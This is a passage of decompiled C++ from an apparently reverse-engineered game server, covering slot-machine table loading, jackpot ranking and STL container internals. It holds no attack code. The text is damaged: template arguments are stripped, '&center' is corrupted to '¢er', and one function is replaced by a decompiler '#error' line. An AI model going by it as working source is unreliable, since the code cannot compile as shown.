v1->sma_LineMatch._Myfirst = 0; v1->sma_LineMatch._Mylast = 0; v1->sma_LineMatch._Myend = 0; _eh_vector_destructor_iterator_( v1, 0xCu, 9, (void (__thiscall *)(void *))std::set_std::allocator>::_set_std::allocator>); } //----- (005D6430) -------------------------------------------------------- void __thiscall SlotMachine::SlotMachineAnalyse::sma_Load(SlotMachine::SlotMachineAnalyse *this) { SlotMachine::SlotMachineAnalyse *v1; // esi@1 signed int v2; // ebx@1 std::_Tree_nod,std::allocator,0> >::_Node *v3; // ecx@2 std::_Tree_nod,std::allocator,0> >::_Node *v4; // ebp@2 std::_Tree_nod,std::allocator,0> >::_Node *v5; // edi@2 std::_Tree_nod,std::allocator,0> >::_Node *v6; // eax@4 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@4 unsigned int v8; // eax@5 unsigned int v9; // ebx@5 unsigned int v10; // esi@5 bool v11; // cf@6 void *v12; // eax@8 int v13; // edx@10 unsigned int v14; // eax@10 SlotMachine::SlotMachineAnalyse *v15; // ebp@11 int v16; // esi@11 unsigned int v17; // eax@13 bool v18; // cf@13 std::_Nonscalar_ptr_iterator_tag v19; // bp@14 std::list,std::allocator > >::iterator *v20; // eax@16 int v21; // edi@18 int v22; // edx@19 int v23; // edi@23 unsigned int v24; // eax@25 signed int v25; // eax@29 unsigned int v26; // esi@29 bool v27; // cf@30 GBSMAll *v28; // eax@32 unsigned int v29; // eax@34 void *v30; // eax@35 signed int v31; // eax@37 unsigned int v32; // esi@37 bool v33; // cf@38 void *v34; // eax@40 unsigned int v35; // eax@42 SlotMachine::SlotMachineAnalyse *v36; // [sp+Ch] [bp-A4h]@1 unsigned __int16 __formal[2]; // [sp+10h] [bp-A0h]@10 std::pair,std::allocator,0> >::iterator,bool> result; // [sp+14h] [bp-9Ch]@10 char all; // [sp+1Ch] [bp-94h]@1 int v40; // [sp+4Ch] [bp-64h]@5 GBSMLine _Val; // [sp+58h] [bp-58h]@1 char v42; // [sp+5Ch] [bp-54h]@1 char center; // [sp+60h] [bp-50h]@37 int v44; // [sp+90h] [bp-20h]@37 __int16 v45; // [sp+9Ch] [bp-14h]@37 char v46; // [sp+9Eh] [bp-12h]@37 unsigned int v47; // [sp+A0h] [bp-10h]@1 int v48; // [sp+ACh] [bp-4h]@1 v1 = this; v47 = (unsigned int)&v36 ^ __security_cookie; v36 = this; CCharacterTitleData::CCharacterTitleData((BinaryData *)&all); _Val = 0; v42 = 0; v48 = 0; BinaryDataBox::bdb_ReadData((BinaryDataBox *)&all, "../9Data/Hero/GBSMGroup.shn"); v2 = 9; do { v3 = v1->sma_GroupForCard[0].baseclass_0._Myhead; v4 = v3->_Parent; v5 = v3->_Parent; if ( !v4->_Isnil ) { do { std::_Tree_std::allocator_0>>::_Erase( (std::_Tree,std::allocator,0> > *)v1, v5->_Right); v5 = v5->_Left; operator delete(v4); v4 = v5; } while ( !v5->_Isnil ); } v1->sma_GroupForCard[0].baseclass_0._Myhead->_Parent = v1->sma_GroupForCard[0].baseclass_0._Myhead; v6 = v1->sma_GroupForCard[0].baseclass_0._Myhead; v1->sma_GroupForCard[0].baseclass_0._Mysize = 0; v6->_Left = v6; v7 = v1->sma_GroupForCard[0].baseclass_0._Myhead; v1 = (SlotMachine::SlotMachineAnalyse *)((char *)v1 + 12); --v2; v7->_Right = v7; } while ( v2 ); v8 = *(_DWORD *)(v40 + 40); v9 = 0; v10 = 0; if ( (signed int)v8 > 0 ) { v11 = v8 > 0; do { if ( v11 ) v12 = CDataReader::GetRecord((CDataReader *)&all, v10); else v12 = &_Val; LOWORD(v3) = *(_BYTE *)v12; v13 = 3 * *(_DWORD *)((char *)v12 + 1); *(_DWORD *)__formal = v3; std::_Tree_std::allocator_0>>::insert( (std::_Tree,std::allocator,0> > *)((char *)v36 + 4 * v13), &result, __formal); HIWORD(v3) = HIWORD(v40); v14 = *(_DWORD *)(v40 + 40); ++v10; v11 = v10 < v14; } while ( (signed int)v10 < (signed int)v14 ); } v48 = -1; CCharacterTitleData::_CCharacterTitleData((BinaryData *)&all); v15 = v36; v16 = (int)&v36->sma_LineMatch; if ( v36->sma_LineMatch._Myfirst ) operator delete(v36->sma_LineMatch._Myfirst); *(_DWORD *)(v16 + 4) = 0; *(_DWORD *)(v16 + 8) = 0; *(_DWORD *)(v16 + 12) = 0; CCharacterTitleData::CCharacterTitleData((BinaryData *)&all); _Val = 0; v48 = 1; BinaryDataBox::bdb_ReadData((BinaryDataBox *)&all, "../9Data/Hero/GBSMLine.shn"); v17 = *(_DWORD *)(v40 + 40); v18 = v17 > 0; if ( (signed int)v17 > 0 ) { v19.dummy[0] = LOBYTE(__formal[0]); do { if ( v18 ) v20 = (std::list,std::allocator > >::iterator *)CDataReader::GetRecord((CDataReader *)&all, v9); else v20 = (std::list,std::allocator > >::iterator *)&_Val; v21 = *(_DWORD *)(v16 + 4); if ( v21 ) v22 = (*(_DWORD *)(v16 + 8) - v21) >> 2; else v22 = 0; if ( v21 && v22 < (unsigned int)((*(_DWORD *)(v16 + 12) - v21) >> 2) ) { v23 = *(_DWORD *)(v16 + 8); std::_Uninit_fill_n_std::allocator>>::iterator___unsigned_int_std::list_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>( *(std::list,std::allocator > >::iterator **)(v16 + 8), 1u, v20, (std::allocator,std::allocator > >::iterator> *)v16, v19); *(_DWORD *)(v16 + 8) = v23 + 4; } else { std::vector>::_Insert_n( (std::vector > *)v16, *(std::vector >::iterator *)(v16 + 8), 1u, (GBSMLine *)v20); } v24 = *(_DWORD *)(v40 + 40); ++v9; v18 = v9 < v24; } while ( (signed int)v9 < (signed int)v24 ); v15 = v36; v9 = 0; } v48 = -1; CCharacterTitleData::_CCharacterTitleData((BinaryData *)&all); if ( v15->sma_AllMatch._Myfirst != (GBSMAll *)v9 ) operator delete(v15->sma_AllMatch._Myfirst); v15->sma_AllMatch._Myfirst = (GBSMAll *)v9; v15->sma_AllMatch._Mylast = (GBSMAll *)v9; v15->sma_AllMatch._Myend = (GBSMAll *)v9; CCharacterTitleData::CCharacterTitleData((BinaryData *)&all); _Val = 0; v42 = 0; v48 = 2; BinaryDataBox::bdb_ReadData((BinaryDataBox *)&all, "../9Data/Hero/GBSMAll.shn"); v25 = *(_DWORD *)(v40 + 40); v26 = 0; if ( v25 > (signed int)v9 ) { v27 = (unsigned int)v25 > 0; do { if ( v27 ) v28 = (GBSMAll *)CDataReader::GetRecord((CDataReader *)&all, v26); else v28 = (GBSMAll *)&_Val; std::vector>::push_back(&v15->sma_AllMatch, v28); v29 = *(_DWORD *)(v40 + 40); ++v26; v27 = v26 < v29; } while ( (signed int)v26 < (signed int)v29 ); } v48 = -1; CCharacterTitleData::_CCharacterTitleData((BinaryData *)&all); v30 = v15->sma_PointMatch._Myfirst; if ( v30 != (void *)v9 ) operator delete(v30); v15->sma_PointMatch._Myfirst = (GBSMCenter *)v9; v15->sma_PointMatch._Mylast = (GBSMCenter *)v9; v15->sma_PointMatch._Myend = (GBSMCenter *)v9; CCharacterTitleData::CCharacterTitleData((BinaryData *)¢er); v45 = 0; v46 = 0; v48 = 3; BinaryDataBox::bdb_ReadData( (BinaryDataBox *)¢er, "../9Data/Hero/GBSMCenter.shn"); v31 = *(_DWORD *)(v44 + 40); v32 = 0; if ( v31 > (signed int)v9 ) { v33 = (unsigned int)v31 > 0; do { if ( v33 ) v34 = CDataReader::GetRecord((CDataReader *)¢er, v32); else v34 = &v45; std::vector>::push_back(&v15->sma_PointMatch, (GBSMCenter *)v34); v35 = *(_DWORD *)(v44 + 40); ++v32; v33 = v32 < v35; } while ( (signed int)v32 < (signed int)v35 ); } v48 = -1; CCharacterTitleData::_CCharacterTitleData((BinaryData *)¢er); __security_check_cookie((unsigned int)&v36 ^ v47); } //----- (005D6780) -------------------------------------------------------- void __thiscall SlotMachine::SlotMachineJackPotRanking::smjpr_Load(SlotMachine::SlotMachineJackPotRanking *this) { SlotMachine::SlotMachineJackPotRanking *v1; // edi@1 GBTaxRate *v2; // eax@1 unsigned int v3; // esi@1 void *v4; // eax@4 int v5; // edi@4 unsigned int v6; // eax@6 bool v7; // cf@6 GBSMJackpotRate *v8; // eax@8 unsigned int v9; // eax@10 char rate; // [sp+8h] [bp-58h]@1 int v11; // [sp+38h] [bp-28h]@6 GBSMJackpotRate _Val; // [sp+44h] [bp-1Ch]@6 unsigned int v13; // [sp+50h] [bp-10h]@1 int v14; // [sp+5Ch] [bp-4h]@6 v13 = (unsigned int)&rate ^ __security_cookie; v1 = this; v2 = SHND::CommonData>::cd_Find( &SHND::g_TaxRate, (SHND::CmpGameType)31); v3 = 0; v1->smjpr_TaxInfo = v2; if ( v2 == 0 ) { AssertClass::ac_AssertFail( &shineassert, "SlotMachine::SlotMachineJackPotRanking::smjpr_Load : TaxInfo Load fail", 0); ShineExit("SlotMachine::SlotMachineJackPotRanking::smjpr_Load"); } v4 = v1->smjpr_JackPotRate._Myfirst; v5 = (int)&v1->smjpr_JackPotRate; if ( v4 ) operator delete(v4); *(_DWORD *)(v5 + 4) = 0; *(_DWORD *)(v5 + 8) = 0; *(_DWORD *)(v5 + 12) = 0; CCharacterTitleData::CCharacterTitleData((BinaryData *)&rate); _Val.GBSM_MinCount = 0; _Val.GBSM_MaxCount = 0; _Val.GBSM_JPRate = 0; v14 = 0; BinaryDataBox::bdb_ReadData((BinaryDataBox *)&rate, "../9Data/Hero/GBSMJPRate.shn"); v6 = *(_DWORD *)(v11 + 40); v7 = v6 > 0; if ( (signed int)v6 > 0 ) { do { if ( v7 ) v8 = (GBSMJackpotRate *)CDataReader::GetRecord((CDataReader *)&rate, v3); else v8 = &_Val; std::vector>::push_back( (std::vector > *)v5, v8); v9 = *(_DWORD *)(v11 + 40); ++v3; v7 = v3 < v9; } while ( (signed int)v3 < (signed int)v9 ); } v14 = -1; CCharacterTitleData::_CCharacterTitleData((BinaryData *)&rate); __security_check_cookie((unsigned int)&rate ^ v13); } //----- (005D6890) -------------------------------------------------------- void __thiscall SlotMachine::SlotMachineJackPotRanking::smjpr_JackPotRankingSet(SlotMachine::SlotMachineJackPotRanking *this, unsigned int machine, Name4 *name, unsigned int price) { SlotMachine::SlotMachineJackPotRanking *v4; // edi@1 SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *v5; // eax@1 int v6; // eax@3 unsigned int v7; // edi@3 int v8; // edx@3 int v9; // eax@3 FunctionEntarance _; // [sp+8h] [bp-28h]@1 int jpr; // [sp+Ch] [bp-24h]@3 int v12; // [sp+10h] [bp-20h]@3 int v13; // [sp+14h] [bp-1Ch]@3 int v14; // [sp+18h] [bp-18h]@3 unsigned int v15; // [sp+1Ch] [bp-14h]@3 unsigned int v16; // [sp+20h] [bp-10h]@1 int v17; // [sp+2Ch] [bp-4h]@1 v4 = this; v16 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "SlotMachine::SlotMachineJackPotRanking::smjpr_JackPotRankingSet"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SlotMachine::SlotMachineJackPotRanking::smjpr_JackPotRankingSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SlotMachine::SlotMachineJackPotRanking::smjpr_JackPotRankingSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = v4->smjpr_InfoArr._Myfirst; v17 = 0; if ( v5 && machine < v4->smjpr_InfoArr._Mylast - v5 ) { v6 = *(_DWORD *)&name->n4_name[0]; v7 = (unsigned int)&v4->smjpr_InfoArr._Myfirst[machine]; v8 = *(_DWORD *)&name->n4_name[8]; v12 = *(_DWORD *)&name->n4_name[4]; v13 = v8; jpr = v6; v9 = *(_DWORD *)&name->n4_name[12]; v15 = price; v14 = v9; std::vector>::push_back( (std::vector > *)(v7 + 4), (SLOTMACHINE_JackPotRank *)&jpr); std::_Sort>::iterator_int>( *(std::vector >::iterator *)(v7 + 8), *(std::vector >::iterator *)(v7 + 12), (*(_DWORD *)(v7 + 12) - *(_DWORD *)(v7 + 8)) / 20); } --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlotMachine::SlotMachineJackPotRanking::smjpr_JackPotRankingSet"); __security_check_cookie((unsigned int)&_ ^ v16); } //----- (005D69C0) -------------------------------------------------------- void __thiscall SlotMachine::SlotMachineJackPotRanking::smjpr_RankingSet(SlotMachine::SlotMachineJackPotRanking *this, PROTO_NC_GAMBLE_SLOTMACHINE_DB_GAMEINFO_ACK *ack) { SlotMachine::SlotMachineJackPotRanking *v2; // edi@1 int v3; // eax@4 int v4; // ecx@6 int v5; // eax@9 int v6; // edi@9 std::vector > *v7; // ebx@10 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SlotMachine::SlotMachineJackPotRanking::smjpr_RankingSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SlotMachine::SlotMachineJackPotRanking::smjpr_RankingSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( ack->nError != 10560 ) { AssertClass::ac_AssertFail( &shineassert, "SlotMachine::SlotMachineJackPotRanking::smjpr_RankingSet : Error occur", ack->nError); ShineExit("SlotMachine::SlotMachineJackPotRanking::smjpr_RankingSet"); } v3 = (int)v2->smjpr_InfoArr._Myfirst; if ( v3 ) v3 = (signed int)((char *)v2->smjpr_InfoArr._Mylast - v3) / 20; v4 = ack->Machine; if ( v4 >= (unsigned int)v3 ) { AssertClass::ac_AssertFail( &shineassert, "SlotMachine::SlotMachineJackPotRanking::smjpr_RankingSet : Invalid Machine", v4); ShineExit("SlotMachine::SlotMachineJackPotRanking::smjpr_RankingSet"); } v5 = (int)&v2->smjpr_InfoArr._Myfirst[ack->Machine]; *(_DWORD *)v5 = ack->JackPotPrice; v6 = 0; if ( ack->RankNumber ) { v7 = (std::vector > *)(v5 + 4); do std::vector>::push_back( v7, (SLOTMACHINE_JackPotRank *)&ack[1] + (unsigned __int16)v6++); while ( (unsigned __int16)v6 < ack->RankNumber ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlotMachine::SlotMachineJackPotRanking::smjpr_RankingSet"); } //----- (005D6B10) -------------------------------------------------------- void __thiscall std::set_std::allocator>::set_std::allocator>(std::set,std::allocator > *this) { std::set,std::allocator > *v1; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 v1 = this; v2 = std::_Tree_std::allocator_0>>::_Buynode(&this->baseclass_0); v1->baseclass_0._Myhead = v2; v2->_Isnil = 1; v1->baseclass_0._Myhead->_Parent = v1->baseclass_0._Myhead; v1->baseclass_0._Myhead->_Left = v1->baseclass_0._Myhead; v1->baseclass_0._Myhead->_Right = v1->baseclass_0._Myhead; v1->baseclass_0._Mysize = 0; } //----- (005D6B40) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_First, unsigned int _Count, SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *v5; // esi@1 unsigned int v6; // edi@1 int v7; // [sp+0h] [bp-20h]@1 SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_Next; // [sp+Ch] [bp-14h]@1 int *v9; // [sp+10h] [bp-10h]@1 int v10; // [sp+1Ch] [bp-4h]@1 v5 = _First; v6 = _Count; v9 = &v7; _Next = _First; v10 = 0; while ( v6 > 0 ) { LOBYTE(v10) = 1; if ( v5 ) { v5->JackPotPrice = _Val->JackPotPrice; std::vector>::vector>( &v5->JackPotRank, &_Val->JackPotRank); } --v6; ++v5; LOBYTE(v10) = 0; } } //----- (005D6BF0) -------------------------------------------------------- void __thiscall SlotMachine::SlotMachineCluster::go_SMC_WinRank(SlotMachine::SlotMachineCluster *this, std::vector > *wincollect, GBSMBetType betype) { SlotMachine::SlotMachineCluster *v3; // esi@1 SlotMachine::SlotMachineScreen *v4; // esi@1 signed int v5; // edi@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SlotMachine::SlotMachineCluster::go_SMC_WinRank"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SlotMachine::SlotMachineCluster::go_SMC_WinRank"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->smc_Screens; v5 = 2; do { SlotMachine::SlotMachineScreen::SMS_WinRank(v4, wincollect, betype); ++v4; --v5; } while ( v5 ); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlotMachine::SlotMachineCluster::go_SMC_WinRank"); } //----- (005D6CB0) -------------------------------------------------------- #error "5D6CB0: undefined or illegal type '#593' (funcsize=749)" //----- (005D7600) -------------------------------------------------------- void __thiscall SlotMachine::SlotMachineAnalyse::SlotMachineAnalyse(SlotMachine::SlotMachineAnalyse *this) { SlotMachine::SlotMachineAnalyse *v1; // esi@1 v1 = this; _eh_vector_constructor_iterator_( this, 0xCu, 9, (void (__thiscall *)(void *))std::set_std::allocator>::set_std::allocator>, (void (__thiscall *)(void *))std::set_std::allocator>::_set_std::allocator>); v1->sma_LineMatch._Myfirst = 0; v1->sma_LineMatch._Mylast = 0; v1->sma_LineMatch._Myend = 0; v1->sma_AllMatch._Myfirst = 0; v1->sma_AllMatch._Mylast = 0; v1->sma_AllMatch._Myend = 0; v1->sma_PointMatch._Myfirst = 0; v1->sma_PointMatch._Mylast = 0; v1->sma_PointMatch._Myend = 0; } //----- (005D7670) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_GAMBLE_SLOTMACHINE_DB_GAMEINFO_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameDBSession::gds_NC_GAMBLE_SLOTMACHINE_DB_GAMEINFO_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_GAMBLE_SLOTMACHINE_DB_GAMEINFO_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; SlotMachine::SlotMachineJackPotRanking::smjpr_RankingSet( &g_SlotMachineJackPotRanking, (PROTO_NC_GAMBLE_SLOTMACHINE_DB_GAMEINFO_ACK *)&netcmd[1]); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GameDBSession::gds_NC_GAMBLE_SLOTMACHINE_DB_GAMEINFO_ACK"); } //----- (005D7710) -------------------------------------------------------- SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *__thiscall std::vector>::_Ufill(std::vector > *this, SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_Ptr, unsigned int _Count, SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (005D7740) -------------------------------------------------------- void __thiscall std::vector>::_Tidy(std::vector > *this) { std::vector > *v1; // ebx@1 ItemRandomOption::OptionTable *v2; // esi@1 ItemRandomOption::OptionTable *i; // edi@2 v1 = this; v2 = this->_Myfirst; if ( v2 ) { for ( i = this->_Mylast; v2 != i; ++v2 ) SHND::CommonData::_CommonData(v2); operator delete(v1->_Myfirst); } v1->_Myfirst = 0; v1->_Mylast = 0; v1->_Myend = 0; } //----- (005D7790) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last) { std::vector > *v4; // ebp@1 std::vector >::iterator v5; // ecx@1 SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *v6; // eax@2 SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *v7; // ebx@2 SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *v8; // edi@2 ItemRandomOption::OptionTable *i; // esi@2 std::vector >::iterator *v10; // eax@5 v4 = this; v5 = _First; if ( _First != _Last ) { v6 = std::_Copy_opt( *(SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo **)&_Last, v4->_Mylast, *(SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo **)&_First, (std::_Nonscalar_ptr_iterator_tag)_First.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v7 = v4->_Mylast; v8 = v6; for ( i = (ItemRandomOption::OptionTable *)v6; (SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *)i != v7; ++i ) SHND::CommonData::_CommonData(i); v5 = _First; v4->_Mylast = v8; } v10 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; return v10; } //----- (005D77F0) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_Val) { std::vector > *v4; // esi@1 unsigned int v5; // ecx@1 SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *v6; // ebx@1 unsigned int v7; // ecx@1 signed int v8; // edx@2 unsigned int v9; // edi@3 int v10; // eax@5 int v11; // eax@10 int v12; // ecx@14 int v13; // eax@17 void *v14; // eax@21 void *v15; // ebx@21 SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *v16; // ST18_4@21 int v17; // eax@21 int v18; // edi@23 ItemRandomOption::OptionTable *v19; // eax@23 SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *v20; // ecx@26 std::vector >::iterator v21; // ebx@26 SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *v22; // ecx@27 SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *v23; // ST24_4@27 unsigned int v24; // edi@27 int v25; // [sp+0h] [bp-38h]@1 unsigned int _Tmp; // [sp+Ch] [bp-2Ch]@1 std::vector > thisa; // [sp+10h] [bp-28h]@1 void *_Newvec; // [sp+20h] [bp-18h]@21 std::vector > *v29; // [sp+24h] [bp-14h]@1 int *v30; // [sp+28h] [bp-10h]@1 int v31; // [sp+34h] [bp-4h]@1 SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_Wherea; // [sp+40h] [bp+8h]@28 SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_Ptr; // [sp+44h] [bp+Ch]@21 int _Vala; // [sp+48h] [bp+10h]@21 SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_Valb; // [sp+48h] [bp+10h]@26 v4 = this; v5 = _Val->JackPotPrice; v30 = &v25; _Tmp = v5; v29 = v4; std::vector>::vector>( &thisa, &_Val->JackPotRank); v6 = v4->_Myfirst; v7 = 0; v31 = 0; if ( v6 ) { v8 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)v4->_Myend - (char *)v6)) >> 32) >> 3; v7 = v8 + ((unsigned int)v8 >> 31); } v9 = _Count; if ( _Count ) { if ( v6 ) v10 = v4->_Mylast - v6; else v10 = 0; if ( (unsigned int)(&ddt.ddt_Table[2021][1471].direct - v10) < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v6 ) v11 = v4->_Mylast - v6; else v11 = 0; if ( v7 >= _Count + v11 ) { v20 = v4->_Mylast; v21 = _Where; _Valb = v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 20 >= _Count ) { _Wherea = &v20[-_Count]; v4->_Mylast = std::_Uninit_copy>( &v20[-_Count], v20, v20, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v20 - 20 * _Count)); std::_Copy_backward_opt( *(SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo **)&v21, _Wherea, _Valb, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo **)&v21, (SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *)(*(_DWORD *)&v21 + 20 * _Count), (SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *)&_Tmp); } else { std::_Uninit_copy>( *(SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo **)&_Where, v20, (SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *)(*(_DWORD *)&_Where + 20 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v22 = v4->_Mylast; v23 = v4->_Mylast; LOBYTE(v31) = 3; std::vector>::_Ufill( v4, v23, _Count - (signed int)((char *)v22 - *(_DWORD *)&_Where) / 20, (SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *)&_Tmp); v24 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *)v24; v31 = 0; std::fill( *(SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo **)&_Where, (SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *)(v24 - 20 * _Count), (SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *)&_Tmp); } } else { if ( (unsigned int)(&ddt.ddt_Table[2021][1471].direct - (v7 >> 1)) >= v7 ) v12 = (v7 >> 1) + v7; else v12 = 0; if ( v6 ) v13 = v4->_Mylast - v6; else v13 = 0; if ( v12 < _Count + v13 ) v12 = _Count + std::vector>::size((std::vector > *)v4); _Vala = 20 * v12; v14 = operator new(20 * v12); v15 = v14; v16 = v4->_Myfirst; _Newvec = v14; LOBYTE(v31) = 1; _Ptr = std::_Uninit_copy>( v16, *(SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo **)&_Where, (SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *)v14, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, v9, (SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *)&_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>( *(SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo **)&_Where, v4->_Mylast, &_Ptr[v9], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v17 = (int)v4->_Myfirst; if ( v17 ) v17 = (signed int)((char *)v4->_Mylast - v17) / 20; v18 = v17 + v9; v19 = (ItemRandomOption::OptionTable *)v4->_Myfirst; if ( v19 ) { std::vector>::_Destroy( (std::vector > *)v4, v19, (ItemRandomOption::OptionTable *)v4->_Mylast); operator delete(v4->_Myfirst); } v4->_Myend = (SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *)((char *)v15 + _Vala); v4->_Mylast = (SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *)((char *)v15 + 20 * v18); v4->_Myfirst = (SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *)v15; } } if ( thisa._Myfirst ) operator delete(thisa._Myfirst); } //----- (005D7AF0) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo _Val) { SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *v3; // esi@1 int v4; // eax@2 int v5; // eax@6 v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v4 >= _Newsize ) { if ( v3 && _Newsize < this->_Mylast - v3 ) std::vector>::erase( this, (std::vector >::iterator *)&_Newsize, (std::vector >::iterator)&v3[_Newsize], (std::vector >::iterator)this->_Mylast); } else { if ( v3 ) v5 = this->_Mylast - v3; else v5 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v5, &_Val); } if ( _Val.JackPotRank._Myfirst ) operator delete(_Val.JackPotRank._Myfirst); } //----- (005D7BD0) -------------------------------------------------------- void __thiscall SlotMachine::SlotMachineJackPotRanking::SlotMachineJackPotRanking(SlotMachine::SlotMachineJackPotRanking *this) { this->smjpr_InfoArr._Myfirst = 0; this->smjpr_InfoArr._Mylast = 0; this->smjpr_InfoArr._Myend = 0; this->smjpr_JackPotRate._Myfirst = 0; this->smjpr_JackPotRate._Mylast = 0; this->smjpr_JackPotRate._Myend = 0; this->smjpr_IsReq = 0; } //----- (005D7C10) -------------------------------------------------------- void __thiscall SlotMachine::SlotMachineJackPotRanking::_SlotMachineJackPotRanking(SlotMachine::SlotMachineJackPotRanking *this) { SlotMachine::SlotMachineJackPotRanking *v1; // esi@1 v1 = this; if ( this->smjpr_JackPotRate._Myfirst ) operator delete(this->smjpr_JackPotRate._Myfirst); v1->smjpr_JackPotRate._Myfirst = 0; v1->smjpr_JackPotRate._Mylast = 0; v1->smjpr_JackPotRate._Myend = 0; std::vector>::_Tidy((std::vector > *)&v1->smjpr_InfoArr); } //----- (005D7C50) -------------------------------------------------------- void __thiscall SlotMachine::SlotMachineJackPotRanking::smjpr_RankingReq(SlotMachine::SlotMachineJackPotRanking *this) { SlotMachine::SlotMachineJackPotRanking *v1; // ebp@1 bool v2; // zf@1 char *v3; // esi@3 char v4; // dl@4 int v5; // esi@5 ZoneBaseSession *v6; // eax@7 signed int v7; // esi@8 SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *v8; // edi@9 